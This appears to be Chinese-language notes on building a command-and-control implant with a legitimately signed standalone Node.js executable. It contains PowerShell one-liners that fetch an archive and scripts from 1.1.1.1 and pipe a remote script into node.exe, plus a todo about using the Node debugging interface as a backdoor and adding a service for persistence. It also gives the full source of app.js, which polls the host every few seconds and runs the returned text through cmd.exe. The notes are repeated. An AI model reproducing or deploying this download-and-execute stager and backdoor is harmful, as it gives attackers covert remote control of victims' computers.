1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
|
合法签名程序搞定~ NodeJS压缩后20MB，只有一个exe文件包含完整运行环境。
看看有没有实战价值，没有找到Nodejs开源的C2
例子如下（Powershell）：
wget -uri http://1.1.1.1/node.zip -outfile $env:USERPROFILE\Downloads\node.zip
Expand-Archive -Path $env:USERPROFILE\Downloads\node.zip -DestinationPath $env:USERPROFILE\Downloads\
cd $env:USERPROFILE\Downloads\; curl http://1.1.1.1/cmd.js | Select -ExpandProperty Content | .\node.exe
## todo 远程调试接口 作为后门
node inspect [options] [ script.js | host:port ] [arguments]
https://learnku.com/articles/21078
http://nodejs.cn/api/child_process.html
####### PC运行 ######
# 1. 下载node.exe app.js
wget -uri http://1.1.1.1/node.zip -outfile $env:USERPROFILE\Downloads\node.zip
wget -uri http://1.1.1.1/app.js -outfile $env:USERPROFILE\Downloads\app.js
wget -uri http://1.1.1.1/cmd.txt -outfile $env:USERPROFILE\Downloads\cmd.txt
# 2. 解压文件
Expand-Archive -Path .\node.zip -DestinationPath $env:USERPROFILE\Downloads\
# 3. 创建服务 todo
add-service
# 4. 执行node.exe
$env:USERPROFILE\Downloads\node.exe app.js
合法签名程序搞定~ NodeJS压缩后20MB，只有一个exe文件包含完整运行环境。
看看有没有实战价值，没有找到Nodejs开源的C2
例子如下（Powershell）：
wget -uri http://1.1.1.1/node.zip -outfile $env:USERPROFILE\Downloads\node.zip
Expand-Archive -Path $env:USERPROFILE\Downloads\node.zip -DestinationPath $env:USERPROFILE\Downloads\
cd $env:USERPROFILE\Downloads\; curl http://1.1.1.1/cmd.js | Select -ExpandProperty Content | .\node.exe
App.js
var http = require('http');
const { spawn } = require('node:child_process');
function go_init() {
// stuff you want to happen right away
console.log('Welcome to My Console,');
}
function go_for() {
// all the stuff you want to happen after that pause
try{
console.log('Blah blah blah blah extra-blah');
go_get();
setTimeout(go_for, 5000);
}catch(e){
// error captured
}
}
function go_get() {
var options = {
host: '1.1.1.1',
port: 80,
path: '/cmd.txt'
};
var body = '';
http.get(options, function(res) {
body = '';
res.on('data', function(chunk) {
body += chunk;
});
res.on('end', function() {
console.log(body);
////////////////////////////////////
go_cmd(body);
//////////////////////////////////////
});
}).on('error', function(e) {
console.log("Got error: " + e.message);
});
}
function go_cmd(str) {
var bat = spawn('cmd.exe', ['/c', str]);
bat.stdout.on('data', (data) => {
console.log(data.toString());
});
bat.stderr.on('data', (data) => {
console.error(data.toString());
});
bat.on('exit', (code) => {
console.log(`Child exited with code ${code}`);
});
}
// call the first chunk of code right away
go_init();
// call the rest of the code and have it execute after 3 seconds
setTimeout(go_for, 3000);
|